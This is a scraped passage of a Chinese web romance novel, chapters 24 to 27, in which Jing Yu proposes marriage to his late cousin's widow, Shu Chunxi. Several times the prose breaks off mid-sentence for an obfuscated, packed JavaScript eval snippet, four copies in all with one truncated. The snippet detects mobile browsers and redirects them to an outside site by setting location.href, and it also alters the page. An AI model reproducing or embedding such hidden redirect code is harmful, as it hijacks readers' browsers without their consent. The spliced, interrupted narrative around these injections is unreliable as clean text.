终于,他从沙发上起身,走到书桌旁拿起放在一旁的盒子,问李阿姨,“纯熙呢?” 虽然已经年近五十,但李阿姨还是从这称呼的突然转变里,嗅到了一丝不一样的意味,不由得留心起敬渝的反应。 男人玉身长立,倚在书桌前头,手里握着一个小巧的盒子,看上去很像是装婚戒的那种盒子…… 李阿姨忍住心里面因为猜测而泛开的欣喜若狂,连忙给敬渝指路,“舒小姐好像去花园散步了,现在还没回来呢。” 敬渝若有所思地“唔”了一声,不由得扯出露出一个温柔的微笑,像是在鼓励自己一样,然后与李阿姨对视一眼,又在她的眼里看出一种促狭。 但此时此刻,他却不免感到了一种慰藉般的鼓励,极快地点了一下头,然后努力扯平嘴角,脚步轻快地朝外走去。 敬渝不知道舒纯熙去哪儿了,就在花园里找了一圈,又问了几个园丁,最后,在那两棵树下的树荫里看到了自己要找的人。 她倚着秋千摇椅的靠背,大半个上半身都被树影遮挡住,隐在一片阴凉里面。 而暴露在阳光底下的小腿白皙得有点不健康,好在太阳暖烘烘,仿佛将她令人心惊的虚弱也给妥帖熨烫了一番,透出一股神圣的光芒来。 夏荫遮挡下,她的眉眼难得舒展,看上去是难得的静谧惬意。 就在此时,这个微微摇动着的人影,好像穿越时空,和过去的那个舒纯熙重合了。 不再冷漠冰凉,不再拒他于千里之外,不再在周身竖起一块厚壁障,把自己给笼罩在其中不愿意出来。 她没有睡着,这应当是她如今,难得清醒时的悠闲时光。 敬渝忽然有些情怯,不知道是否该在此时出声,然后把这一切都给打破。 答案显然意见,他止步在几米开外,如何也踏不出下一步,静默地立在光中,远远地望着她的方向。 贪恋着这来之不易的闲适氛围,像是一个小偷,毫无羞耻心地放纵自己沐浴在她放松的这片磁场里。 但某一瞬,舒纯熙还是突然睁开了眼睛,撑着坐垫坐正,双脚点地的同时,左右活动了一下脖颈,目光里带着点午后的慵懒和迷糊,顺其自然地朝他所在的这边扫了过来,望见了他。 她的脸沉下来,眼神冷了。 顷刻间,因为此间主人的心情变化,闲适的氛围亦是荡然无存。 明明心里已经有了预期,但是在此清晰地看见她的变化,再一次认知到她如今对自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15387736|168356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是怎样的防备和疏离,他还是会不好过。 只觉得满腹苦涩的男人低下头,朝她走了过去。 不过几息的功夫,舒纯熙眼见着敬渝朝自己走过来,然后在离自己很近的地方站定,毫不留情地挡住了她身下摇椅晃动的轨迹,虽然她也并没有在晃。 但她现在不想看见他,她的心情并不好,她也不想去思索昨天晚上他说的那些话究竟是真是假。 这一切都让她觉得身心疲惫。 于是两个人之间,没有谁率先开了口说第一句话。 敬渝垂下眼眸,鸦羽般的眼睫在面上轻轻一扫,把右手攥着的一个绸缎小礼盒打开,从里面拿出一颗戒指来。 舒纯熙瞪大了眼睛,没来得及开口说什么,只能用讶异的目光仰头望着敬渝的面庞。 而男人目光坚毅,一张脸看不出来跟平常有什么不一样,依旧是那种游刃有余的样子,下一刻便探身朝她靠近,几乎要用他的额头贴到自己的额头了。 他伸出一只手,将舒纯熙抵在身侧的左手给抬起来,似乎是察觉到她肢体的僵硬,动作放缓,尽力轻柔,将她的手搭在自己掌上。 舒纯熙的左手无名指上带着一颗十克拉的全美方钻,这是敬亭给她定制的婚戒,自从结婚那天起,她就从来没有取下来过,即使后来敬亭去世,她也没有。 敬渝的双眼在清楚地看见那枚戒指后,耷拉下来,动作有极其短暂的一瞬间停顿,屏住呼吸。 他知道,舒纯熙大概正在用一种不怎么友善的目光打量着自己。 所以他也并没有停顿多久,扯了一下嘴角,仿佛并没有看见什么,故作漫不经心地就把她无名指上原先的那枚给摘了下来,随手放在一旁的坐垫上。 那颗重量很可观的婚戒其实更像是被随手一掷,本该老老实实地落在坐垫上,此刻却囫囵地滚了几圈,像是在表达它的不满一样。 舒纯熙也感觉到了,目光里凝着点说不清道不明的意味,向左侧偏了头,望了它一眼。 但她的手还把握在敬渝的大掌里,他没有给她多少时间缓冲,动作自然地将他一开始握在手心的那枚戒指拿在指尖,抬起她的无名指,直接推了进去。 而无名指的主人,身体随之一颤,不知道是被惊得,还是被吓得。 敬渝抿紧双唇,松开她的手,既而直起身子,然后上下两片嘴皮子快速一碰,默默地说了一句: “嫁给我,敬渝太太的名号,只会更好用。” 原本她选了宗正,但他比宗正更好,她看上宗正什么,他也只会有得更多。 要权,要名,要利,要财,他予取予求,甘之如饴,双手奉上,心甘情愿。 舒纯熙在他讳莫如深的眼神里,终于化解了自己原有的那些疑惑,低下头沉默又冷静地想了好一会儿,才再度抬起头,双手撑着身侧,恢复了一派悠然闲适的姿态,语调里带着点不难察觉的亲昵,仿若羞怯地望着他,轻声问道: “大哥如此慷慨,把你的名号都借给我用了,是想要纯熙如何报答你呢?” 24. 第 24 章 第二十四章、 舒纯熙在他晦暗的眼神里,呼吸,再呼吸,将自己原本因看见他而变得一团乱糟糟的心绪,逐渐抚平了,大脑清净下来,她整个人也平静了下来。 现在,她总算能从容地表达自己的迷惑了。 左手无名指上,因为陡然移开原本有足够分量的负重,换成了另一枚不同触感的戒指,那种电流顺着脉络流进心底的感受很微妙,不容她忽略。 “嫁给你,” 她慢慢捻着那几个字, “所以,你是认真的?” “是,我很认真。” 他的回答铿锵有力,没有一点迟疑,看上去,真的就像他嘴上说的那样,他是经过理智思考之后,做出了这样的决定。 至于做出这样的决定,他究竟勉不勉强,舒纯熙无从得知,她只得垂下头,盯着腿上裙子的面料看,又问他: “那孩子呢,你真的能把我和敬亭的孩子,当做是你自己的孩子么?” “可以,我会把他当做是我的孩子。” 敬亭的孩子,他会帮忙照顾,因为那是他堂弟的孩子,跟他也有分割不开的血缘。 而舒纯熙的孩子,他当然也会好好照顾,因为那是她的孩子。 他会从这两个角度,去看待这个孩子。 那你还真是大度。 舒纯熙幽幽地在心里面想,没有立刻回答,过一会儿,突然想起点什么,又问: “可敬总不是说,做不出来再娶弟妹的丑事么? …… “怎么,回心转意了?” 女人垂着头没有看自己,但一声嘲讽般的低笑还是紧接着发出,被他的耳朵捕捉到,明明并不大的声音,却敲打在耳膜上,一阵阵撕裂般发疼,让人浑身僵硬到难堪。 回忆只消在脑海里滚上一遍,敬渝很快就想明白,是谁把这话说给了她听,而且,面目全非,还复述得这样刺耳。 “这话是宗正告诉你的?不是这样的,我不是这么说的,那时候我只是没想过可以再娶你……” 他苦笑一瞬,从回忆里挣脱出来,凝视着她的发顶,慢慢地告诉她, “纯熙,我从来没觉得如果能再娶到你,会算作一件丑事,真的,我从来就没有这么想过。” 说着,敬渝单膝跪地蹲在了舒纯熙身畔,总算清晰地看见了她有些苍白迷惘的脸色。 他伸出双臂,小心翼翼地去触碰她放在腿上的双手,将那两只素白的手掌托在自己的双手掌心,虚握住,目光柔和地看着她。 而舒纯熙猛地打了个寒颤,下意识地想要把自己的手抽回来,却被男人带着不由分说的意味给握住,竟然不许她临阵脱逃。 秋千上的女人掀起眼帘来,目光里已然一片清明的底色,并没有什么纠结的意思,只是动作愈发坚定,与男人对视之间,执意要抽出一只手。 剩下的另一只手还被男人紧握着不愿意放开,他的目光盯着她的眼睛一分也不错过,意味很明显。 舒纯熙却没有多少动容,已经去将敬渝的手指一根一根掰开,执着地将他的手掌推开,然后望着他,笑得有点残忍,一字一顿地对他说: “可这对我来说,确实是一件丑事。” 说完,她再去看那人时,他的目光已尽数染上苦涩,手上的力气一松,舒纯熙顺势就把自己的手给抽了回来。 敬渝如一块石雕般僵在了原地。 她说不上有什么感受,居高临下地瞥了他一眼,然后从秋千上下来,已经想要快点离开了。 擦肩而过之前,敬渝不知道什么时候已经从地上爬起来,伸手拉住她的胳膊,将她拦了下来。 此时他的面色可以说是灰败,声音十分沙哑,口不择言的同时又艰难地说: “宗正许给你什么?你们做了什么交易?” 她试图挣扎的动作忽然停歇下来,侧过头凝视着他的眼睛,回答他: “你说呢?他可以帮我给舒家翻案!” 原来如此。 敬渝终于在这近乎怒吼的一句话里面,觉察到了一丝不同的可能性,拼凑出了事情本来的面貌,仿佛抓到救命稻草一样,握着她的手牢牢攥紧,将舒纯熙轻转过来,和自己面对着面站立着,语气凝重, “纯熙,舒家的事牵扯太多,举足轻重,绝不是简简单单就能解决的。你相信我,不要轻易地去做任何决定好吗,我不会害你的。” 指尖动弹了一下,她负气扭头,不再看他,没说好,但也没有说不好。 敬渝便又去拉她的手,男人的指尖很冰,带着令人陌生的感觉,将她的一只手包在自己的掌心之中。 “纯熙,当年的事情发生得太突然,所有的东西你都还不清楚,解决这些事也不应该是你的责任,你不要把这件事揽在自己身上,不要忧虑这些。舒家的事情就交给我来解决,你相信我好吗?” 舒纯熙蹙眉,薄唇翕动两下, “那要什么时候才能解决?” “你不要担心这个,我一定会安排好的。” 闻言,皱着眉的女人还是不敢相信,有点踌躇地确认了一遍, “你真的会帮我们?” 敬渝牵了下唇角,带着点心酸地低下头,低低地说: “纯熙,虽然你可能不相信,但是这两年来,我从来没有放弃过舒家的事情。这一点,不管你嫁不嫁给我,都不会有改变。” 舒纯熙突然沉默了下去,一时之间不知道自己该说什么。 所以,真的就像敬渝说的那样,一直以来,他也在为舒家的事情想办法吗? 可是为什么呢?他跟他们又没有什么不可分割的关系,他没有任何必要非得这么做的。 这个信息太让人难以相信,也太让人错愕了。 就像他说的那样,她不相信,要她现在开始接受这个认知,都显得艰难。 被他握紧的那只手,仿佛正在失温一般,无力地垂下,任他拉着而已。 舒纯熙没有再说话,但也没有急着要走了,敬渝觉得她的态度难得有点松动,不想把她逼得太紧,便拉着她,同她一起慢步走回了主楼,将她送回了房间。 这一整个过程,舒纯熙都没有太多抵触的举动,就好像被抽干了力气,实在是懒得折腾了一样。 确认舒纯熙在床上坐好后,敬渝才退出房间,关上门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15403750|168356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,依旧有点不放心地在门外站了一会儿,才转身下了楼梯。 敬渝尚有工作,处理得差不多了,他看一眼墙上的钟,然后上楼去叫舒纯熙下楼吃饭。 房间里很快传来走路的声音,没多久,房门从里面被打开,舒纯熙走出来。 她没有看敬渝,只是跟在敬渝身后下了楼梯。 吃晚餐的过程,她也很配合,把一整碗盛着鸡腿肉的鸡汤都给喝完了。 敬渝中途接了个电话,只能留意了一眼舒纯熙吃得怎么样,然后就拿着手机走出了餐厅。 等他再回来时,舒纯熙已经吃完上楼去了。 他这个电话打了二十多分钟,确实是有些久了。 敬渝坐下去又吃了点,然后在餐厅里站了一会儿,左右都看了一遍,又问佣人今天晚上舒纯熙的牛奶什么时候送上去。 然后厨房里的一个佣人告诉他,之前早餐的时候会给舒纯熙准备牛奶,但是她不愿意喝,后面就换成燕麦奶了,至于晚上,一般情况下厨房不会额外给舒纯熙再准备一杯牛奶。 “那敬总,需要我现在热一杯牛奶送上去吗?” 佣人用有些不确定的语气问了一句,同时也在询问往后的备餐标准。 敬渝站在原地,还没有从她一开始的回答里回过神来。 所以,好好喝牛奶补身体,还有会戒烟,之前她自己提出来的条件,还真是没有一件被严格遵守了。 敬渝本以为自己会感到有点头疼的。 但其实,也没有,心头只是萦绕起了一点无可奈何。 以后再潜移默化地磨着她做点改变吧。 心里不知不觉已经做好了规划,男人自己都没有注意到,唇角不动声色地勾了下。 最后,敬渝回到书房找了个小玩意,拿着上楼去找舒纯熙,但是舒纯熙并不在房间里面。 敬渝在楼上又找了一圈,也没有找见她的身影。 难道吃完晚餐之后,她并没有上楼回房,而是出去散步了? 手里拿着的松鼠雕像被他握得有了点跟手心相同的温度,敬渝站在楼梯跟前,低下头看这只憨态可掬的小松鼠,没由来得抚了一下它蓬松的大尾巴。 然后将东西放在两步外的一个置物柜上,男人转了身,穿过中庭,径直往后面的花园走。 只不过这一次,他找到天彻底黑透,连乱石园里那些可以藏人的小山洞还有敬氏的祠堂都找遍了,也没有找到舒纯熙的半点影子。 敬渝回到花园里,站在那两棵参天大树之间的秋千跟前,一遍遍回想着今天下午发生的一切。 她坐在这里假寐,而他走近她,把从前没有机会送出去的婚戒送给了她,她没有露出明显的厌恶或者拒绝的意思,态度很冷淡,为了让她回心转意,他提起了舒家的事情。 那些事他从来就不想让她过问,也不想让她牵扯进来,但他还是主动说了。 是那些话让她觉得受到了胁迫么? 他不知道。 这也是他从来都不想主动提及的原因。 他不想让她觉得,因为舒家的这些事,她需要仰仗自己,讨好自己,从而在他面前感到惴惴不安。 25. 第 25 章 第二十五章、 敬渝一遍遍地去想,一遍遍地在脑海里复盘这下午在这里发生的所有事,试图找出这一整个过程究竟是哪里出了问题,是哪一个细节他没有处理好,以至于他都没有捕捉到她的异常反应? 他绞尽脑汁,站在原地的双腿灌了铅一样重,胸膛里好像烂了一个大洞,而他当着风头被吹得眼睛都睁不开。 心乱如麻。 舒纯熙不知道跑到哪里去了,在这偌大的庄园里,她对地形的掌握恐怕不比他少,但他真的都找过了。 她还喜欢去哪里?她还有什么地方可以藏起来? 脑中的思绪像一团麻绳结在了一块儿,脸颊的温度超出常态,心跳慌乱得加速,敬渝这才强迫自己冷静下来。 他现在也只是找了后花园而已,家里这么大,他找不到不是很正常吗。 稳住思绪后,敬渝立即提起步子往回走,进了主楼,马上把主楼还没有休息的佣人都叫过来,问他们见没见到舒纯熙。 角落里有个小姑娘默默举起手,声音很低地说了句: “敬总,之前我擦楼梯扶手的时候,好像看见二夫人去……去了二少爷的房间。” 话音一落,人群里只剩一片死寂。 而站在对面的敬渝已经转身,立刻往楼梯走。 留在原地的人群也就被李阿姨解散了,她却没立刻转身离开,而是有点担忧地跟了两步,站在楼梯旁,正好可以看见大少爷已经到了二少爷以前的房间门口。 此时,楼上的敬渝只想早点找到舒纯熙,确认她在哪里。 但直到他到了门外,才突然反应过来,面前这个他即将踏足的地方,在今天这个时刻,对他和舒纯熙两个人来说,意味着什么。 现在已经是夜里十一点半了,以往这个时间该处于休息时刻的大脑,好像也的确受到生物钟的影响,转动不了了。 现在这种情况,究竟意味着什么? 他下午刚对舒纯熙说过,要她和自己结婚,而等到晚上,她哪里都没去,却来了这里。 脑子里有很多种可能性的推测,但他强迫自己停下思绪,他不想再想了,也不想去探究这究竟意味着什么。 甚至在推开门的时候,他还生出了一种猜测,或许舒纯熙也并不在这里,一切都是他以为的而已。 就这样,敬渝上前推开了门。 房间里面没有开灯,仅仅借着从窗户里落进来的月光视物。 先前那一闹,里面的残垣没有人敢随意处置,家里的佣人只好把地面细小的碎片给清扫了一下,其余的东西,都保持着原状。 敬渝伸手,“啪嗒”一声,突兀地在室内响起,打开了房间里的灯。 那张新换的大床上的景象依旧惨不忍睹,之前那堆衣服并没有烧完,中心最先被打火机的火焰波及的地方燃出了黑色的大洞,向四面圆圈形状地扩开,张开血盆大口,散发着一股刺鼻的烧焦的气味。 靠近床边缘的地方,又垂下半截依旧华美的面料,如同被拦腰截断,上半部分被火烧得与其他衣服粘在一起,只余下一个诡异的裙摆部分。 这样的一大团“东西”丑陋得堆叠在那张原本是崭新的一米八大床上。 而舒纯熙就坐在它们的旁边,床尾那一点点还没有波及的地方,泛着绸缎光泽的床单好像也只有那一小块儿上没有脏污。 她团着身子坐在上面,小小一个,面朝着南面的窗户,仰头在看外面黑漆漆的天空,把背影留给身后的房门。 敬渝屏息凝神,垂着眸关上身后的门,朝前静静地走了过去,在舒纯熙身旁站好。 原本找不到她的那些心焦和无端揣测,在真的找到她的这一刻,已经被瞬间抚平。 松了一口气,目光里的柔和就要一出来,他低头凝望着舒纯熙,声音里浸染着和煦,仿佛怕惊扰到她哪怕一分一毫, “这么晚了,怎么在这儿啊?” 身侧的人置若罔闻,她不想回答他的问题,没什么稀奇的。 只不过现在环着腿抱着她自己的姿势,应该是很防备的一种。 这种情况下,就算他有心去抱她,估计也没办法下手。 他敛眸,视线有点无奈地落在她攥紧另一只手腕的手上面,拇指的指甲掐在本就没有多少肉的手腕上,有明显的红色印迹。 敬渝登时皱起眉头,探身想将她的那只手给拨开。 而舒纯熙一动不动,并不配合。 “纯熙……” 敬渝轻叹了一口气,那呢喃似的语调里并不是严厉,反而像是心疼。 他软和地叫了她一声,然后便试图带点力气,将她上面的那只手给挪开,再把她底下的那只手给抽走,攥在自己的掌心。 而手心里的那只手如同泥鳅般执拗地要逃脱,带着一股不配合的劲儿,丝毫不顾及自己的手腕,一言不发地要挣脱开来。 敬渝在这场无声的争执里落了下风,却又不甘心松开手,只好虚握着她的手,被她向下带的动作,将自己的手任她拉下去。 两个人的手便连接在一起一样,挂在了半空中。 “很晚了,熬夜对你和孩子都不好,我先送你回房间好不好?” 他同她好好商量着,甚至带着点轻哄的意味。 女人的头缓慢移动了一下,偏过来,目光终于扫在他面上,但很快又无甚趣味般移开了,双唇细微地开合着,声音低得难以听清,又因许久没有开口而有些沙哑, 但敬渝听清了,她问的是, “你想不想知道,在这间房间里,敬亭都跟我说过什么?” 男人的手动了动,在他听见“敬亭”的名字之后,便卸下了手上的力气,乖乖松开了舒纯熙的左手。 沉寂并没有蔓延开来,目光变得幽深的男人,一直望着身侧的女人,几息后,顺着她的话接下来,语气很平和, “他和你说什么了?” 两手撑在床垫上,舒纯熙将双腿放下去,踩上自己的拖鞋,听见敬渝的答案时,有点惊讶。 她轻笑了半声,发出一点点难辨的气音,慢慢地说了句, “我还以为你并不想知道呢。” 说完这句话,她就没有继续说下去了,不知道是在等敬渝的反应,还是陷入了某些漩涡般的回忆之中,一时想得入了神。 女人的面上没有什么血色,细眉微蹙如西子捧心,让人想替她小心翼翼地揉开那些哀愁。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15403751|168356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而那些哀愁,他又一知半解。 “实话实说,我确实不想知道。” 说话间,敬渝在舒纯熙左边的地板上坐下来,两条长腿曲成同一个弧度抵着前方,和地面形成一个三角形,有些像舒纯熙先前的那个坐姿。 男人微微弓着脊背,坐下之后,比待在床上的人要矮上两个头,动作闲时自然,竟然有一种洗耳恭听、还要陪她彻夜长谈的架势。 短暂停顿之后,他轻声对她说: “但如果你想告诉我的话,你就说吧,我会听着的。” 旁边的人反而没有再开口,一连默了好一会儿。 敬渝在等待的同时,陪她待了这么一会儿,但她却没有说下去。 终于,他从地上爬了起来,这一次,敬渝没有再去拉舒纯熙的手,而是伸出一臂从她的腿弯穿过,另一只手横在她身后,直接将她从床上拦腰抱了起来。 舒纯熙的身体几乎瞬间僵硬了起来,在敬渝带着点不由分说的举动里不知所措,指尖向前探,紧紧地揪着他的衬衫门襟,叫了他一声,“……敬渝。” 男人的面庞突然向她靠得这么近,她只要一抬头,就能看清楚他脸上的任何一处,包括他两颊那些细小的绒毛。 高挺的鼻梁上是他神色坦然的双眼,她躲闪地低下头,只能盯着他的衣领,带着点悲苦,喃喃地在他耳边说: “敬渝,我们不能结婚,敬亭不会放过我的。” 说这话的人目光空洞,有些语无伦次的恐惧,始终不能坦然接受他的提议,尽管这几个小时,她的理智始终在劝她接受。 但她的灵魂害怕极了,她如同一只幽灵般被烙上了残忍的印,在游离之后宿命般回到了那个房间。 那个已经被敬渝试图重建过后、与从前再也不同的那个房间,但她已经被长久地困在了那里,好像再也没有资格走出去。 就像敬亭说的,那才是她在敬家该待的地方,那才是她在敬家唯一拥有的方寸之地。 而给她这一切的人她永远都别想摆脱。 “真的,我是认真的,他不会愿意看见我们结婚的,我不能答应你,我们不能结婚,敬亭绝对不会放过我的……” 怀里抱着的人纤细瘦弱,轻轻发颤的同时带着点无助的哭腔重复着,翻来覆去的几句话。 敬渝只是抿紧了嘴,将她抱紧的同时加快了脚步,一脚踢开房门,走到床边,一只膝盖撑在床上,把舒纯熙放在了床上。 女人难得的喋喋不休到此时终于停下来,她被敬渝动作轻柔地放在自己床上,拖鞋也随之被他从脚上拿下,在床边摆放好。 然后他又弯下身子,将她身下的薄被轻轻抽出来小半片来,盖在她的身上。 做好这一切,从刚才到现在一言不发的男人半跪在了床边,微仰起头,倾身向前,目光里带着舒纯熙看不懂的怜惜和苦涩,用拇指将她眼尾的晶莹一点一点给抹去。 “是我要娶你,是我想跟你结婚,也是我,要跟你重新在一起的。” 男人指尖陌生的触感抚过舒纯熙的脸颊,他望进她的眼眸里,一字一句说得认真, “如果敬亭非要不放过谁的话,那就让他来找我吧,我等着他。” 26. 第 26 章 第二十六章、 舒纯熙在敬渝的话里长久地愣怔了起来,她看不懂他眼里翻涌着的那种复杂情绪,在被吞没在其中之前果断低下了头,确定自己并不想花心思去解读,于是大脑里面只有一大片的空白。 “别想那么多,一切都有我。今晚你就先好好地睡一觉。” 床下半蹲着的男人安抚般冲她露出一个微笑,又凑近了一点,轻轻地抚摸了一下她的脑袋,她柔软的发丝被他指尖触碰着,掌心克制地压了下她的头。 “你想要什么样式的婚礼,我们办得隆重一点好不好?……明天我们就去领证吧,好不好?” 语气宠溺极了,话却说得前言不搭后语,生生像是脑海里浮现起了什么样的念头,他就一股脑都说了出来。 明明不是一个聒噪的人,一想起婚事,终究难掩高兴,跟个十八岁的毛头小子一样,忍不住就要开始纵情想象起来。 手心下面的那颗脑袋摇动了一下,嚅动着双唇,面带防备和警惕的目光突然刺向了他, “不行……我公公婆婆那里不行的,我怎么向他们交代?” 敬渝嘴角的微笑终于凝滞了起来,那笑意缓缓地收敛下去,他望着舒纯熙又陷入了纠结万分的境况,心里升起一种难以言喻的感受。 于是他收回了放在她头上的手,转而握住她压在被子上的一只手,大掌将她的手牢牢收在掌心之中,好像一旦放手,就再也触碰不到了一样。 他望着她,再一次保证道: “纯熙,这些事情不需要你来忧虑,其他人那里,都交给我。你只需要同意就行了。剩下的事情交给我来安排,我会处理好一切。” 他的语气太笃定太绝对,甚至不自觉中又带了点严厉的意味,好像是她这个不配合的人在拖垮整个进程。 听得床上坐着的人下意识地又想把自己蜷缩起来,再伸出双臂来团着,那只手俨然开始使劲,想要把手从敬渝的掌心里抽开。 敬渝对着这样的舒纯熙束手无策,她全身上下都写满了一句话,那就是她只想要逃离他。 他不知道还能怎么办,商场上的谈判都没有这么停滞不前过。 每当他觉得,她的态度有了一点松动的时候,她就会突然变脸,又想出了一条新的理由,来说服她自己去拒绝。 即使这样,他也不能松手。 拇指讨好般地摩挲了一下她的虎口,敬渝再次放低姿态,又小心翼翼地继续问道: “纯熙,你是不是不想自己做这个决定?或许,你想知道伯父伯母的意思吗?” 舒纯熙双眸里的光于那一瞬间闪动了一下,抬头看向了他,这一刻,敬渝总算在心里松了一口气,他斟酌着说: “其实上次去北省之前,我去见过舒伯父,伯父他托我照拂你。” 虽然不是以丈夫的身份照顾她。 当时他就已经应下了。至于现在,情况虽然有了点变化,但如果他们能结婚的话,他一定能更好地照顾她,所以,舒伯父应该不会反对他们的婚事。 只是提起这件事来,他又实在怕舒纯熙会想等到下次探监,亲自去跟二老说过他们的婚事之后,再来答复他。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15408531|168356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 但他不想再等了,夜长梦多的教训他已经吃过一次了,他现在只想能赶紧把这件事彻底敲定下来。 与此同时,舒纯熙在听到这句话后,反而表现出有点失落的样子。 眼里那本就是一闪而过的光芒,好像又隐约地黯淡了一下,眼皮耷拉下去,遮挡住她眼底的情绪。 没过多久,舒纯熙执拗的那只手逐渐放松了下去,从僵硬变得柔顺,开口,说了声“好”。 敬渝长久地凝视着眼前的女人,他知道她心里应该还是有点难以接受,但她终究是点了头,这已经是在向前迈出很大一步了。 至于别的,只要她还愿意给自己机会,他们总是来日方长的。 敬渝勾起唇,笑意真心显露,两只手将舒纯熙的手捧在掌心,看了她好一会儿,对她说: “纯熙,谢谢你。” 舒纯熙心里清楚,脑海里面的那座天平已经倒向了其中一边,原先打架的两个小人,也已经决出了胜负。 嫁给敬渝应该是一件不会出错的事情,两年前她没办法成功,如今,他自己送上门来,好像顺势应下,才是明智之举。 毕竟这两年里,他的权势只增不减,比起两年前的那个他,还更能够给她和舒家提供庇护。 但她不知道敬渝要谢自己什么,听他的语气,仿佛自己才是那个降下恩赐的人。 想着,舒纯熙扯了下唇角,将手从敬渝的掌心里抽出来,淡淡地说: “我要休息了,你走吧。” 说着,她已经躺了下去,转过身背对着敬渝的方向。 27. 第 27 章 第二十七章、 望着床上那个只留给他背影的身躯,敬渝低声应了下来,随后撑着地板站起了身子,静悄悄地走到房门边上,出去之前,还帮她关上了灯。 出门之后,敬渝凝重地回望了一眼身后的门,挪动了一下脚步,让身体依靠在右面的墙上,杵在那里待了好一会儿。 . 第二天,舒纯熙同敬渝是在餐厅里遇见的。 她来的时候,敬渝也刚到不久,还没有落座,见她来了,主动同她说了声“早安”,又两步走到面前,像宗正之前做过的那样,帮她拉开了座位上的椅子。 吃饭时,又默默地帮她夹菜。还像之前一样,偷偷地观察她吃得怎么样。 其实舒纯熙昨天难以入睡,现在精神并不充沛,眼下泛着淡淡的乌青,只能冷眼旁观敬渝做着眼下的这些事情。 她说不上来心里面有什么滋味,不过目光还是在四处扫了扫。 看上去家里的佣人并没有在暗处投来什么异样的目光,或许是敬渝已经交代过了吧。 吃得差不多了,舒纯熙打算离开时,敬渝先她一步开口,忽然问了一句: “纯熙,你的身份证件现在都在手边吧?” 本已经要起身的人,闻言又坐回了椅子上,盯着敬渝一脸寻常的样子仔细看了起来。 所以,他是真的要今天就去领证吗? 舒纯熙有点愣怔,不掩犹疑地猜测起了原因。 有必要赶得这么急吗? “我至少得先跟宗正说清楚……” 舒纯熙说着,而右手边的男人依旧噙着笑,对她的回答并不意外,反而认可地点了点头,顺势说道: “昨天晚上我已经考虑好了。你找机会跟宗正说我们的事吧。至于宗家……我会送他们一个生意上的合作机会,算算时间,他们应该已经收到消息了。就当做我对他们的补偿,让之前的事情就此翻篇吧。” 敬渝语调平静,一字一句缓缓地铺陈开来。 仿佛只是在说一件顺其自然的事情一样,比如我把窗台上的一盆薄荷叶给换了个地方,又或是我把一片君子兰的叶子给拨到了另一边。 他从来没有在她面前提起过公司里的事情,这大概是第一次。舒纯熙才知道,原来这些事,他提起来的时候回事这样地从容。 她甚至猜得出来,敬渝开出的补偿,一定是宗家乐见其成的东西,也就是说,短短的时间里,他已经安排好了后续,理所当然地可以让事情平稳过度下去。 现在这种情况,她再去拒绝宗正,也就不至于因为自己的毁约而心虚,更不会觉得太过难堪了。 昨天晚上令她辗转反侧的其中一部分原因,已经被他尽量铲平。 敬渝确实考虑得很全面,安排得也足够妥帖了。 甚至他也可以直接出面替舒纯熙回绝宗正,但还是保留了她亲自去跟宗正解释清楚的机会,在宗正的面前维护了她的一分体面,还有抉择的权利。 舒纯熙低下头,“嗯”了一声,没有反对。 敬渝便知道这件事谈妥了,眼底的笑意真心了些。 真的感到轻松喜悦的时候,在他脸上便能看得到这种表面上很淡的笑容。其实他本就是一个有点寡淡的人,也不会做什么夸张的表情和举动。 放下手中的餐具,敬渝又好似不经意地说: “那我们就下午去领证,两点出门怎么样?” 舒纯熙有点心不在焉,胡乱地点了下头,站起身走出了餐厅,手里攥着自己的手机。 敬渝对时间的把控没有出错,等舒纯熙给宗正打的电话被接通时,那边的人不久前才跟从父亲的办公室里出来。 事情已经被决定下来,他便只有执行的份。 宗正望着手机屏幕上展示的来电人姓名,拧着眉头,有些无奈地抬头望了一眼天花板。 初见时,她就是那种谨慎又防备的样子,好不容易彼此熟悉了一些,却没有所谓的往后日子可以奔赴了。 说再见的时候,她已然又变回了从前那种言简意赅的模样,三言两语地说个清楚,将他拒绝。 “纯熙,之前你不能全身心地信任我,我理解你的顾虑。但是现在呢?你自认如今对敬渝这个人的了解还有多少,你又真的能把自己跟舒家的前程托付在他的身上吗?” 